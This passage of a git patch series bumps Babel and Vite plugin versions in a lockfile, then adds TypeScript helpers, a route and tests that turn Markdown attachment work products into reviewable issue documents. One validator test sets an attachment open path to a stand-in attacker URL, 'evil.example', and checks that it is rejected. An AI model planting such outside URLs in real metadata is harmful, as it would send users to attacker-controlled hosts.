picocolors: 1.1.1 - '@babel/code-frame@7.29.7': dependencies: '@babel/helper-validator-identifier': 7.29.7 js-tokens: 4.0.0 picocolors: 1.1.1 - '@babel/compat-data@7.29.0': {} - '@babel/compat-data@7.29.7': {} - '@babel/core@7.29.0': - dependencies: - '@babel/code-frame': 7.29.0 - '@babel/generator': 7.29.1 - '@babel/helper-compilation-targets': 7.28.6 - '@babel/helper-module-transforms': 7.28.6(@babel/core@7.29.0) - '@babel/helpers': 7.28.6 - '@babel/parser': 7.29.0 - '@babel/template': 7.28.6 - '@babel/traverse': 7.29.0 - '@babel/types': 7.29.0 - '@jridgewell/remapping': 2.3.5 - convert-source-map: 2.0.0 - debug: 4.4.3 - gensync: 1.0.0-beta.2 - json5: 2.2.3 - semver: 6.3.1 - transitivePeerDependencies: - - supports-color - '@babel/core@7.29.7': dependencies: '@babel/code-frame': 7.29.7 @@ -9535,14 +9428,6 @@ snapshots: transitivePeerDependencies: - supports-color - '@babel/generator@7.29.1': - dependencies: - '@babel/parser': 7.29.0 - '@babel/types': 7.29.0 - '@jridgewell/gen-mapping': 0.3.13 - '@jridgewell/trace-mapping': 0.3.31 - jsesc: 3.1.0 - '@babel/generator@7.29.8': dependencies: '@babel/parser': 7.29.8 @@ -9551,14 +9436,6 @@ snapshots: '@jridgewell/trace-mapping': 0.3.31 jsesc: 3.1.0 - '@babel/helper-compilation-targets@7.28.6': - dependencies: - '@babel/compat-data': 7.29.0 - '@babel/helper-validator-option': 7.27.1 - browserslist: 4.28.1 - lru-cache: 5.1.1 - semver: 6.3.1 - '@babel/helper-compilation-targets@7.29.7': dependencies: '@babel/compat-data': 7.29.7 @@ -9567,17 +9444,8 @@ snapshots: lru-cache: 5.1.1 semver: 6.3.1 - '@babel/helper-globals@7.28.0': {} - '@babel/helper-globals@7.29.7': {} - '@babel/helper-module-imports@7.28.6': - dependencies: - '@babel/traverse': 7.29.8 - '@babel/types': 7.29.8 - transitivePeerDependencies: - - supports-color - '@babel/helper-module-imports@7.29.7': dependencies: '@babel/traverse': 7.29.8 @@ -9585,15 +9453,6 @@ snapshots: transitivePeerDependencies: - supports-color - '@babel/helper-module-transforms@7.28.6(@babel/core@7.29.0)': - dependencies: - '@babel/core': 7.29.0 - '@babel/helper-module-imports': 7.28.6 - '@babel/helper-validator-identifier': 7.28.5 - '@babel/traverse': 7.29.0 - transitivePeerDependencies: - - supports-color - '@babel/helper-module-transforms@7.29.7(@babel/core@7.29.7)': dependencies: '@babel/core': 7.29.7 @@ -9603,7 +9462,7 @@ snapshots: transitivePeerDependencies: - supports-color - '@babel/helper-plugin-utils@7.28.6': {} + '@babel/helper-plugin-utils@7.29.7': {} '@babel/helper-string-parser@7.27.1': {} @@ -9613,64 +9472,35 @@ snapshots: '@babel/helper-validator-identifier@7.29.7': {} - '@babel/helper-validator-option@7.27.1': {} - '@babel/helper-validator-option@7.29.7': {} - '@babel/helpers@7.28.6': - dependencies: - '@babel/template': 7.28.6 - '@babel/types': 7.29.0 - '@babel/helpers@7.29.7': dependencies: '@babel/template': 7.29.7 '@babel/types': 7.29.8 - '@babel/parser@7.29.0': - dependencies: - '@babel/types': 7.29.0 - '@babel/parser@7.29.8': dependencies: '@babel/types': 7.29.8 - '@babel/plugin-transform-react-jsx-self@7.27.1(@babel/core@7.29.0)': + '@babel/plugin-transform-react-jsx-self@7.29.7(@babel/core@7.29.7)': dependencies: - '@babel/core': 7.29.0 - '@babel/helper-plugin-utils': 7.28.6 + '@babel/core': 7.29.7 + '@babel/helper-plugin-utils': 7.29.7 - '@babel/plugin-transform-react-jsx-source@7.27.1(@babel/core@7.29.0)': + '@babel/plugin-transform-react-jsx-source@7.29.7(@babel/core@7.29.7)': dependencies: - '@babel/core': 7.29.0 - '@babel/helper-plugin-utils': 7.28.6 + '@babel/core': 7.29.7 + '@babel/helper-plugin-utils': 7.29.7 '@babel/runtime@7.29.7': {} - '@babel/template@7.28.6': - dependencies: - '@babel/code-frame': 7.29.0 - '@babel/parser': 7.29.0 - '@babel/types': 7.29.0 - '@babel/template@7.29.7': dependencies: '@babel/code-frame': 7.29.7 '@babel/parser': 7.29.8 '@babel/types': 7.29.8 - '@babel/traverse@7.29.0': - dependencies: - '@babel/code-frame': 7.29.0 - '@babel/generator': 7.29.1 - '@babel/helper-globals': 7.28.0 - '@babel/parser': 7.29.0 - '@babel/template': 7.28.6 - '@babel/types': 7.29.0 - debug: 4.4.3 - transitivePeerDependencies: - - supports-color - '@babel/traverse@7.29.8': dependencies: '@babel/code-frame': 7.29.7 @@ -12780,7 +12610,7 @@ snapshots: dependencies: react: 19.2.8 - '@rolldown/pluginutils@1.0.0-beta.27': {} + '@rolldown/pluginutils@1.0.0-rc.3': {} '@rollup/plugin-node-resolve@16.0.3(rollup@4.62.4)': dependencies: @@ -13272,20 +13102,20 @@ snapshots: '@types/babel__core@7.20.5': dependencies: - '@babel/parser': 7.29.0 - '@babel/types': 7.29.0 + '@babel/parser': 7.29.8 + '@babel/types': 7.29.8 '@types/babel__generator': 7.27.0 '@types/babel__template': 7.4.4 '@types/babel__traverse': 7.28.0 '@types/babel__generator@7.27.0': dependencies: - '@babel/types': 7.29.0 + '@babel/types': 7.29.8 '@types/babel__template@7.4.4': dependencies: - '@babel/parser': 7.29.0 - '@babel/types': 7.29.0 + '@babel/parser': 7.29.8 + '@babel/types': 7.29.8 '@types/babel__traverse@7.28.0': dependencies: @@ -13551,14 +13381,14 @@ snapshots: d3-selection: 3.0.0 d3-transition: 3.0.1(d3-selection@3.0.0) - '@vitejs/plugin-react@4.7.0(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))': + '@vitejs/plugin-react@5.2.0(vite@6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12))': dependencies: - '@babel/core': 7.29.0 - '@babel/plugin-transform-react-jsx-self': 7.27.1(@babel/core@7.29.0) - '@babel/plugin-transform-react-jsx-source': 7.27.1(@babel/core@7.29.0) - '@rolldown/pluginutils': 1.0.0-beta.27 + '@babel/core': 7.29.7 + '@babel/plugin-transform-react-jsx-self': 7.29.7(@babel/core@7.29.7) + '@babel/plugin-transform-react-jsx-source': 7.29.7(@babel/core@7.29.7) + '@rolldown/pluginutils': 1.0.0-rc.3 '@types/babel__core': 7.20.5 - react-refresh: 0.17.0 + react-refresh: 0.18.0 vite: 6.4.3(@types/node@22.20.1)(jiti@2.7.0)(lightningcss@1.32.0)(tsx@4.23.12) transitivePeerDependencies: - supports-color @@ -13861,8 +13691,6 @@ snapshots: baseline-browser-mapping@2.11.15: {} - baseline-browser-mapping@2.9.19: {} - bcrypt-pbkdf@1.0.2: dependencies: tweetnacl: 0.14.5 @@ -13954,14 +13782,6 @@ snapshots: dependencies: balanced-match: 4.0.4 - browserslist@4.28.1: - dependencies: - baseline-browser-mapping: 2.9.19 - caniuse-lite: 1.0.30001770 - electron-to-chromium: 1.5.286 - node-releases: 2.0.27 - update-browserslist-db: 1.2.3(browserslist@4.28.1) - browserslist@4.28.8: dependencies: baseline-browser-mapping: 2.11.15 @@ -14032,8 +13852,6 @@ snapshots: call-bind-apply-helpers: 1.0.2 get-intrinsic: 1.3.0 - caniuse-lite@1.0.30001770: {} - caniuse-lite@1.0.30001809: {} ccount@2.0.1: {} @@ -14535,8 +14353,6 @@ snapshots: ee-first@1.1.1: {} - electron-to-chromium@1.5.286: {} - electron-to-chromium@1.5.409: {} embedded-postgres@18.1.0-beta.16(patch_hash=55uhvnotpqyiy37rn3pqpukhei): @@ -16190,8 +16006,6 @@ snapshots: - supports-color optional: true - node-releases@2.0.27: {} - node-releases@2.0.53: {} nopt@5.0.0: @@ -16689,7 +16503,7 @@ snapshots: transitivePeerDependencies: - supports-color - react-refresh@0.17.0: {} + react-refresh@0.18.0: {} react-remove-scroll-bar@2.3.8(@types/react@19.2.18)(react@19.2.8): dependencies: @@ -17526,12 +17340,6 @@ snapshots: picomatch: 4.0.5 webpack-virtual-modules: 0.6.2 - update-browserslist-db@1.2.3(browserslist@4.28.1): - dependencies: - browserslist: 4.28.1 - escalade: 3.2.0 - picocolors: 1.1.1 - update-browserslist-db@1.3.1(browserslist@4.28.8): dependencies: browserslist: 4.28.8 diff --git a/ui/package.json b/ui/package.json index 765857ad79a..f47efad0bca 100644 --- a/ui/package.json +++ b/ui/package.json @@ -78,7 +78,7 @@ "@types/node": "^22.20.1", "@types/react": "^19.2.18", "@types/react-dom": "^19.2.4", - "@vitejs/plugin-react": "^4.3.4", + "@vitejs/plugin-react": "^5.2.0", "storybook": "10.5.5", "tailwindcss": "^4.3.3", "typescript": "^5.7.3", From 0fa318b8daee13023a339de6b11be4f566a49397 Mon Sep 17 00:00:00 2001 From: Michael Nguyen <13559011+nguyenm7@users.noreply.github.com> Date: Thu, 20 Aug 2026 14:28:01 -1000 Subject: [PATCH 6/8] feat(artifacts): bridge Markdown work products into the document review surface (#11822) --- packages/shared/src/index.ts | 13 + .../shared/src/markdown-work-products.test.ts | 178 ++++++++ packages/shared/src/markdown-work-products.ts | 99 +++++ .../artifact-review-document-routes.test.ts | 334 +++++++++++++++ .../artifact-review-documents-service.test.ts | 403 ++++++++++++++++++ .../__tests__/issue-attachment-routes.test.ts | 30 ++ server/src/__tests__/openapi-routes.test.ts | 5 + server/src/errors.ts | 8 + server/src/routes/issues.ts | 121 +++++- server/src/routes/openapi.ts | 27 ++ .../src/services/artifact-review-documents.ts | 245 +++++++++++ server/src/services/index.ts | 1 + ui/src/api/issues.ts | 2 + .../issue-properties/IssueProperties.tsx | 16 +- .../IssuePropertiesArtifactsTab.tsx | 231 +++++++++- ...ssuePropertiesMarkdownWorkProduct.test.tsx | 344 +++++++++++++++ .../IssuePropertiesPlansTab.tsx | 8 +- ui/src/lib/issue-artifacts.test.ts | 49 +++ ui/src/lib/issue-artifacts.ts | 21 +- ui/src/lib/issue-attachments.ts | 21 +- 20 files changed, 2121 insertions(+), 35 deletions(-) create mode 100644 packages/shared/src/markdown-work-products.test.ts create mode 100644 packages/shared/src/markdown-work-products.ts create mode 100644 server/src/__tests__/artifact-review-document-routes.test.ts create mode 100644 server/src/__tests__/artifact-review-documents-service.test.ts create mode 100644 server/src/services/artifact-review-documents.ts create mode 100644 ui/src/components/issue-properties/IssuePropertiesMarkdownWorkProduct.test.tsx diff --git a/packages/shared/src/index.ts b/packages/shared/src/index.ts index 5ce9d5ba9eb..7c244e5b887 100644 --- a/packages/shared/src/index.ts +++ b/packages/shared/src/index.ts @@ -84,6 +84,19 @@ export { type ResponsibleUserSource, type OriginatingActor, } from "./issue-attribution.js"; +export { + ARTIFACT_REVIEW_DOCUMENT_KEY_PREFIX, + MARKDOWN_ATTACHMENT_CONTENT_TYPES, + MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES, + artifactReviewDocumentKey, + getAttachmentArtifactWorkProductMetadata, + getMarkdownWorkProductAttachmentMetadata, + isArtifactReviewDocumentKey, + isMarkdownArtifactWorkProduct, + isMarkdownAttachmentContent, + workProductIdFromArtifactReviewDocumentKey, + type AttachmentArtifactWorkProductLike, +} from "./markdown-work-products.js"; export { ISSUE_WRITE_DENIAL_CODES, describeIssueWriteDenial, diff --git a/packages/shared/src/markdown-work-products.test.ts b/packages/shared/src/markdown-work-products.test.ts new file mode 100644 index 00000000000..7293d14ad45 --- /dev/null +++ b/packages/shared/src/markdown-work-products.test.ts @@ -0,0 +1,178 @@ +import { describe, expect, it } from "vitest"; +import { + ARTIFACT_REVIEW_DOCUMENT_KEY_PREFIX, + artifactReviewDocumentKey, + getAttachmentArtifactWorkProductMetadata, + getMarkdownWorkProductAttachmentMetadata, + isArtifactReviewDocumentKey, + isMarkdownArtifactWorkProduct, + isMarkdownAttachmentContent, + workProductIdFromArtifactReviewDocumentKey, +} from "./markdown-work-products.js"; + +const ATTACHMENT_ID = "00000000-0000-4000-8000-000000000001"; +const WORK_PRODUCT_ID = "11111111-2222-4333-8444-555555555555"; + +function attachmentMetadata(overrides: Record = {}) { + const contentPath = `/api/attachments/${ATTACHMENT_ID}/content`; + return { + attachmentId: ATTACHMENT_ID, + contentType: "text/markdown", + byteSize: 128, + contentPath, + openPath: contentPath, + downloadPath: `${contentPath}?download=1`, + originalFilename: "notes.md", + ...overrides, + }; +} + +function workProduct(overrides: Record = {}) { + return { + type: "artifact" as const, + provider: "paperclip", + metadata: attachmentMetadata(), + ...overrides, + }; +} + +describe("isMarkdownAttachmentContent", () => { + it.each([ + "text/markdown", + "text/x-markdown", + "application/markdown", + "application/x-markdown", + ])("accepts %s regardless of filename", (contentType) => { + expect(isMarkdownAttachmentContent({ contentType, originalFilename: null })).toBe(true); + }); + + it("ignores MIME parameters and case", () => { + expect( + isMarkdownAttachmentContent({ + contentType: "Text/Markdown; charset=utf-8", + originalFilename: null, + }), + ).toBe(true); + }); + + it.each([ + "text/plain", + "application/octet-stream", + "binary/octet-stream", + "application/x-binary", + ])("accepts a .md filename when the content type is %s", (contentType) => { + expect(isMarkdownAttachmentContent({ contentType, originalFilename: "README.md" })).toBe(true); + }); + + it("accepts a .markdown filename with a generic content type", () => { + expect( + isMarkdownAttachmentContent({ + contentType: "application/octet-stream", + originalFilename: "guide.markdown", + }), + ).toBe(true); + }); + + it("rejects .mdx files", () => { + expect( + isMarkdownAttachmentContent({ + contentType: "application/octet-stream", + originalFilename: "page.mdx", + }), + ).toBe(false); + expect( + isMarkdownAttachmentContent({ contentType: "text/plain", originalFilename: "page.mdx" }), + ).toBe(false); + }); + + it("rejects markdown filenames with non-generic content types", () => { + expect( + isMarkdownAttachmentContent({ contentType: "text/html", originalFilename: "notes.md" }), + ).toBe(false); + }); + + it("rejects non-markdown filenames with generic content types", () => { + expect( + isMarkdownAttachmentContent({ contentType: "text/plain", originalFilename: "notes.txt" }), + ).toBe(false); + }); + + it("rejects a missing content type", () => { + expect(isMarkdownAttachmentContent({ contentType: null, originalFilename: "notes.md" })).toBe( + false, + ); + }); +}); + +describe("getAttachmentArtifactWorkProductMetadata", () => { + it("returns canonical metadata for a valid paperclip artifact work product", () => { + const metadata = getAttachmentArtifactWorkProductMetadata(workProduct()); + expect(metadata?.attachmentId).toBe(ATTACHMENT_ID); + }); + + it("returns null for non-artifact work products", () => { + expect(getAttachmentArtifactWorkProductMetadata(workProduct({ type: "document" }))).toBeNull(); + }); + + it("returns null for non-paperclip providers", () => { + expect(getAttachmentArtifactWorkProductMetadata(workProduct({ provider: "github" }))).toBeNull(); + }); + + it("returns null when metadata is missing or non-canonical", () => { + expect(getAttachmentArtifactWorkProductMetadata(workProduct({ metadata: null }))).toBeNull(); + expect( + getAttachmentArtifactWorkProductMetadata( + workProduct({ + metadata: attachmentMetadata({ openPath: "https://evil.example/content" }), + }), + ), + ).toBeNull(); + }); +}); + +describe("getMarkdownWorkProductAttachmentMetadata", () => { + it("returns metadata only when the attachment is markdown-eligible", () => { + expect(getMarkdownWorkProductAttachmentMetadata(workProduct())).not.toBeNull(); + expect( + getMarkdownWorkProductAttachmentMetadata( + workProduct({ + metadata: attachmentMetadata({ contentType: "application/pdf", originalFilename: "a.pdf" }), + }), + ), + ).toBeNull(); + }); + + it("backs the boolean eligibility helper", () => { + expect(isMarkdownArtifactWorkProduct(workProduct())).toBe(true); + expect( + isMarkdownArtifactWorkProduct( + workProduct({ + metadata: attachmentMetadata({ contentType: "image/png", originalFilename: "a.png" }), + }), + ), + ).toBe(false); + }); +}); + +describe("artifact review document keys", () => { + it("builds a deterministic key that fits the 64-character document key limit", () => { + const key = artifactReviewDocumentKey(WORK_PRODUCT_ID); + expect(key).toBe(`artifact-review-${WORK_PRODUCT_ID}`); + expect(key.length).toBeLessThanOrEqual(64); + expect(key).toMatch(/^[a-z0-9][a-z0-9_-]*$/); + }); + + it("identifies proxy review-document keys", () => { + expect(isArtifactReviewDocumentKey(artifactReviewDocumentKey(WORK_PRODUCT_ID))).toBe(true); + expect(isArtifactReviewDocumentKey("plan")).toBe(false); + expect(isArtifactReviewDocumentKey("notes")).toBe(false); + expect(isArtifactReviewDocumentKey(ARTIFACT_REVIEW_DOCUMENT_KEY_PREFIX)).toBe(false); + }); + + it("round-trips the work product id", () => { + expect( + workProductIdFromArtifactReviewDocumentKey(artifactReviewDocumentKey(WORK_PRODUCT_ID)), + ).toBe(WORK_PRODUCT_ID); + expect(workProductIdFromArtifactReviewDocumentKey("plan")).toBeNull(); + }); +}); diff --git a/packages/shared/src/markdown-work-products.ts b/packages/shared/src/markdown-work-products.ts new file mode 100644 index 00000000000..16a88cfb717 --- /dev/null +++ b/packages/shared/src/markdown-work-products.ts @@ -0,0 +1,99 @@ +import type { + AttachmentArtifactWorkProductMetadata, + IssueWorkProduct, +} from "./types/work-product.js"; +import { attachmentArtifactWorkProductMetadataSchema } from "./validators/work-product.js"; + +/** + * Shared classification for bridging attachment-backed Markdown work products + * into the issue document review experience. Server materialization and UI + * presentation must agree on eligibility, so both sides use these helpers. + */ + +export const MARKDOWN_ATTACHMENT_CONTENT_TYPES = [ + "text/markdown", + "text/x-markdown", + "application/markdown", + "application/x-markdown", +] as const; + +const MARKDOWN_ATTACHMENT_CONTENT_TYPE_SET = new Set(MARKDOWN_ATTACHMENT_CONTENT_TYPES); + +const MARKDOWN_FALLBACK_CONTENT_TYPES = new Set([ + "text/plain", + "application/octet-stream", + "binary/octet-stream", + "application/x-binary", +]); + +const MARKDOWN_FILENAME_EXTENSIONS = [".md", ".markdown"]; + +/** + * Maximum attachment size eligible for review-document materialization. + * Matches the issue-document body limit: a UTF-8 payload of at most this many + * bytes always fits the 524288-character body cap. + */ +export const MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES = 512 * 1024; + +export const ARTIFACT_REVIEW_DOCUMENT_KEY_PREFIX = "artifact-review-"; + +function normalizeAttachmentContentType(contentType: string | null | undefined): string { + return (contentType ?? "").toLowerCase().split(";")[0]?.trim() ?? ""; +} + +export function isMarkdownAttachmentContent(input: { + contentType: string | null | undefined; + originalFilename?: string | null; +}): boolean { + const contentType = normalizeAttachmentContentType(input.contentType); + if (MARKDOWN_ATTACHMENT_CONTENT_TYPE_SET.has(contentType)) return true; + const filename = (input.originalFilename ?? "").toLowerCase(); + if (!MARKDOWN_FILENAME_EXTENSIONS.some((extension) => filename.endsWith(extension))) { + return false; + } + return MARKDOWN_FALLBACK_CONTENT_TYPES.has(contentType); +} + +export type AttachmentArtifactWorkProductLike = Pick< + IssueWorkProduct, + "type" | "provider" | "metadata" +>; + +export function getAttachmentArtifactWorkProductMetadata( + workProduct: AttachmentArtifactWorkProductLike, +): AttachmentArtifactWorkProductMetadata | null { + if (workProduct.type !== "artifact" || workProduct.provider !== "paperclip") return null; + if (!workProduct.metadata) return null; + const parsed = attachmentArtifactWorkProductMetadataSchema.safeParse(workProduct.metadata); + return parsed.success ? parsed.data : null; +} + +export function getMarkdownWorkProductAttachmentMetadata( + workProduct: AttachmentArtifactWorkProductLike, +): AttachmentArtifactWorkProductMetadata | null { + const metadata = getAttachmentArtifactWorkProductMetadata(workProduct); + if (!metadata) return null; + return isMarkdownAttachmentContent(metadata) ? metadata : null; +} + +export function isMarkdownArtifactWorkProduct( + workProduct: AttachmentArtifactWorkProductLike, +): boolean { + return getMarkdownWorkProductAttachmentMetadata(workProduct) !== null; +} + +export function artifactReviewDocumentKey(workProductId: string): string { + return `${ARTIFACT_REVIEW_DOCUMENT_KEY_PREFIX}${workProductId}`; +} + +export function isArtifactReviewDocumentKey(key: string): boolean { + return ( + key.startsWith(ARTIFACT_REVIEW_DOCUMENT_KEY_PREFIX) && + key.length > ARTIFACT_REVIEW_DOCUMENT_KEY_PREFIX.length + ); +} + +export function workProductIdFromArtifactReviewDocumentKey(key: string): string | null { + if (!isArtifactReviewDocumentKey(key)) return null; + return key.slice(ARTIFACT_REVIEW_DOCUMENT_KEY_PREFIX.length); +} diff --git a/server/src/__tests__/artifact-review-document-routes.test.ts b/server/src/__tests__/artifact-review-document-routes.test.ts new file mode 100644 index 00000000000..21dd1ae60fd --- /dev/null +++ b/server/src/__tests__/artifact-review-document-routes.test.ts @@ -0,0 +1,334 @@ +import express from "express"; +import request from "supertest"; +import { beforeEach, describe, expect, it, vi } from "vitest"; +import type { StorageService } from "../storage/types.js"; + +const ISSUE_ID = "11111111-1111-4111-8111-111111111111"; +const WORK_PRODUCT_ID = "22222222-2222-4222-8222-222222222222"; + +const mockIssueService = vi.hoisted(() => ({ + getById: vi.fn(), + getByIdentifier: vi.fn(), + getAttachmentById: vi.fn(), +})); +const mockCompanyService = vi.hoisted(() => ({ + getById: vi.fn(), +})); +const mockWorkProductService = vi.hoisted(() => ({ + createForIssue: vi.fn(), + getById: vi.fn(), + update: vi.fn(), +})); +const mockAccessService = vi.hoisted(() => ({ + decide: vi.fn(async () => ({ + allowed: true, + explanation: "Allowed by test mock", + })), + canUser: vi.fn(), + hasPermission: vi.fn(), +})); +const mockLogActivity = vi.hoisted(() => vi.fn(async () => undefined)); +const mockEnsureForWorkProduct = vi.hoisted(() => vi.fn()); +const mockSyncDocumentSafely = vi.hoisted(() => vi.fn(async () => undefined)); + +function registerRouteMocks() { + vi.doMock("@paperclipai/shared/telemetry", () => ({ + trackAgentTaskCompleted: vi.fn(), + trackErrorHandlerCrash: vi.fn(), + })); + + vi.doMock("../telemetry.js", () => ({ + getTelemetryClient: vi.fn(() => ({ track: vi.fn() })), + })); + + vi.doMock("../services/issues.js", () => ({ + issueService: () => mockIssueService, + })); + + vi.doMock("../services/activity-log.js", () => ({ + logActivity: mockLogActivity, + })); + + vi.doMock("../services/artifact-review-documents.js", () => ({ + artifactReviewDocumentService: () => ({ + ensureForWorkProduct: mockEnsureForWorkProduct, + }), + })); + + vi.doMock("../services/external-objects.js", () => ({ + externalObjectService: () => ({ + syncDocumentSafely: mockSyncDocumentSafely, + }), + })); + + vi.doMock("../services/index.js", () => ({ + accessService: () => mockAccessService, + agentService: () => ({ + getById: vi.fn(), + }), + companySkillService: () => ({}), + companyService: () => mockCompanyService, + documentAnnotationService: () => ({ remapOpenThreadsForDocument: async () => [] }), + documentService: () => ({}), + executionWorkspaceService: () => ({}), + feedbackService: () => ({ + listIssueVotesForUser: vi.fn(async () => []), + saveIssueVote: vi.fn(async () => ({ vote: null, consentEnabledNow: false, sharingEnabled: false })), + }), + goalService: () => ({}), + heartbeatService: () => ({ + wakeup: vi.fn(async () => undefined), + reportRunActivity: vi.fn(async () => undefined), + getRun: vi.fn(async () => null), + getActiveRunForAgent: vi.fn(async () => null), + cancelRun: vi.fn(async () => null), + }), + instanceSettingsService: () => ({ + get: vi.fn(async () => ({ + id: "instance-settings-1", + general: { + censorUsernameInLogs: false, + feedbackDataSharingPreference: "prompt", + }, + })), + listCompanyIds: vi.fn(async () => ["company-1"]), + }), + issueApprovalService: () => ({}), + issueReferenceService: () => ({ + deleteDocumentSource: async () => undefined, + diffIssueReferenceSummary: () => ({ + addedReferencedIssues: [], + removedReferencedIssues: [], + currentReferencedIssues: [], + }), + emptySummary: () => ({ outbound: [], inbound: [] }), + listIssueReferenceSummary: async () => ({ outbound: [], inbound: [] }), + syncComment: async () => undefined, + syncDocument: async () => undefined, + syncIssue: async () => undefined, + }), + issueThreadInteractionService: () => ({ + listForIssue: vi.fn(async () => []), + expireRequestConfirmationsSupersededByComment: vi.fn(async () => []), + expireStaleRequestConfirmationsForIssueDocument: vi.fn(async () => []), + }), + issueRecoveryActionService: () => ({ + getActiveForIssue: vi.fn(async () => null), + listActiveForIssues: vi.fn(async () => new Map()), + }), + issueService: () => mockIssueService, + logActivity: mockLogActivity, + projectService: () => ({}), + routineService: () => ({ + syncRunStatusForIssue: vi.fn(async () => undefined), + }), + workProductService: () => mockWorkProductService, + })); +} + +function createStorageService(): StorageService { + return { + provider: "local_disk", + putFile: vi.fn(), + getObject: vi.fn(), + headObject: vi.fn(), + deleteObject: vi.fn(), + } as unknown as StorageService; +} + +async function createApp(options?: { companyIds?: string[] }) { + const [{ errorHandler }, { issueRoutes }] = await Promise.all([ + vi.importActual("../middleware/index.js"), + vi.importActual("../routes/issues.js"), + ]); + const app = express(); + app.use(express.json()); + app.use((req, _res, next) => { + (req as any).actor = { + type: "board", + userId: "local-board", + companyIds: options?.companyIds ?? ["company-1"], + source: "local_implicit", + isInstanceAdmin: false, + }; + next(); + }); + app.use("/api", issueRoutes({} as any, createStorageService())); + app.use(errorHandler); + return app; +} + +function makeIssue() { + return { + id: ISSUE_ID, + companyId: "company-1", + identifier: "PAP-1", + projectId: null, + status: "in_progress", + assigneeAgentId: null, + }; +} + +function makeWorkProduct(overrides: Record = {}) { + const attachmentId = "55555555-5555-4555-8555-555555555555"; + const contentPath = `/api/attachments/${attachmentId}/content`; + return { + id: WORK_PRODUCT_ID, + companyId: "company-1", + issueId: ISSUE_ID, + type: "artifact", + provider: "paperclip", + title: "Verification report", + metadata: { + attachmentId, + contentType: "text/markdown", + byteSize: 128, + contentPath, + openPath: contentPath, + downloadPath: `${contentPath}?download=1`, + originalFilename: "verification-report.md", + }, + createdByRunId: null, + sourceTrust: null, + ...overrides, + }; +} + +function makeDocument(overrides: Record = {}) { + return { + id: "33333333-3333-4333-8333-333333333333", + companyId: "company-1", + issueId: ISSUE_ID, + key: `artifact-review-${WORK_PRODUCT_ID}`, + title: "Verification report", + format: "markdown", + body: "# Report", + latestRevisionId: "44444444-4444-4444-8444-444444444444", + latestRevisionNumber: 1, + ...overrides, + }; +} + +describe("work product review-document route", () => { + beforeEach(() => { + vi.resetModules(); + vi.clearAllMocks(); + registerRouteMocks(); + mockIssueService.getById.mockResolvedValue(makeIssue()); + mockWorkProductService.getById.mockResolvedValue(makeWorkProduct()); + }); + + it("returns 404 when the work product belongs to another issue", async () => { + mockWorkProductService.getById.mockResolvedValue( + makeWorkProduct({ issueId: "55555555-5555-4555-8555-555555555555" }), + ); + + const app = await createApp(); + const res = await request(app).post( + `/api/issues/${ISSUE_ID}/work-products/${WORK_PRODUCT_ID}/review-document`, + ); + + expect(res.status).toBe(404); + expect(mockEnsureForWorkProduct).not.toHaveBeenCalled(); + }); + + it("returns 404 when the work product does not exist", async () => { + mockWorkProductService.getById.mockResolvedValue(null); + + const app = await createApp(); + const res = await request(app).post( + `/api/issues/${ISSUE_ID}/work-products/${WORK_PRODUCT_ID}/review-document`, + ); + + expect(res.status).toBe(404); + expect(mockEnsureForWorkProduct).not.toHaveBeenCalled(); + }); + + it("materializes the review document and logs document creation", async () => { + mockEnsureForWorkProduct.mockResolvedValue({ + document: makeDocument(), + created: true, + revisionChanged: true, + remappedAnnotations: [], + }); + + const app = await createApp(); + const res = await request(app).post( + `/api/issues/${ISSUE_ID}/work-products/${WORK_PRODUCT_ID}/review-document`, + ); + + expect(res.status).toBe(201); + expect(res.body.key).toBe(`artifact-review-${WORK_PRODUCT_ID}`); + expect(mockEnsureForWorkProduct).toHaveBeenCalledWith({ + issue: { id: ISSUE_ID, companyId: "company-1" }, + workProduct: expect.objectContaining({ id: WORK_PRODUCT_ID }), + }); + expect(mockLogActivity).toHaveBeenCalledWith( + expect.anything(), + expect.objectContaining({ + action: "issue.document_created", + details: expect.objectContaining({ + workProductId: WORK_PRODUCT_ID, + artifactReviewDocument: true, + }), + }), + ); + expect(mockSyncDocumentSafely).toHaveBeenCalledWith(makeDocument().id); + }); + + it("returns 200 without side effects when the document is already current", async () => { + mockEnsureForWorkProduct.mockResolvedValue({ + document: makeDocument(), + created: false, + revisionChanged: false, + remappedAnnotations: [], + }); + + const app = await createApp(); + const res = await request(app).post( + `/api/issues/${ISSUE_ID}/work-products/${WORK_PRODUCT_ID}/review-document`, + ); + + expect(res.status).toBe(200); + expect(res.body.id).toBe(makeDocument().id); + expect(mockLogActivity).not.toHaveBeenCalled(); + expect(mockSyncDocumentSafely).not.toHaveBeenCalled(); + }); + + it("passes typed materialization errors through to the response", async () => { + const { HttpError } = await vi.importActual("../errors.js"); + mockEnsureForWorkProduct.mockRejectedValue( + new HttpError(415, "Work product attachment is not Markdown"), + ); + + const app = await createApp(); + const res = await request(app).post( + `/api/issues/${ISSUE_ID}/work-products/${WORK_PRODUCT_ID}/review-document`, + ); + + expect(res.status).toBe(415); + expect(res.body.error).toBe("Work product attachment is not Markdown"); + }); + + it("resynchronizes an eligible review document after a title-only work product update", async () => { + const renamed = makeWorkProduct({ title: "Renamed verification report" }); + mockWorkProductService.update.mockResolvedValue(renamed); + mockEnsureForWorkProduct.mockResolvedValue({ + document: makeDocument({ title: "Renamed verification report", latestRevisionNumber: 2 }), + created: false, + revisionChanged: true, + remappedAnnotations: [], + }); + + const app = await createApp(); + const res = await request(app) + .patch(`/api/work-products/${WORK_PRODUCT_ID}`) + .send({ title: "Renamed verification report" }); + + expect(res.status).toBe(200); + expect(mockEnsureForWorkProduct).toHaveBeenCalledWith({ + issue: { id: ISSUE_ID, companyId: "company-1" }, + workProduct: renamed, + }); + }); +}); diff --git a/server/src/__tests__/artifact-review-documents-service.test.ts b/server/src/__tests__/artifact-review-documents-service.test.ts new file mode 100644 index 00000000000..01dc766af4a --- /dev/null +++ b/server/src/__tests__/artifact-review-documents-service.test.ts @@ -0,0 +1,403 @@ +import { randomUUID } from "node:crypto"; +import { Readable } from "node:stream"; +import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest"; +import { + agents, + assets, + companies, + createDb, + documentRevisions, + documents, + heartbeatRuns, + issueAttachments, + issueDocuments, + issues, +} from "@paperclipai/db"; +import { artifactReviewDocumentKey } from "@paperclipai/shared"; +import { + getEmbeddedPostgresTestSupport, + startEmbeddedPostgresTestDatabase, +} from "./helpers/embedded-postgres.js"; +import { artifactReviewDocumentService } from 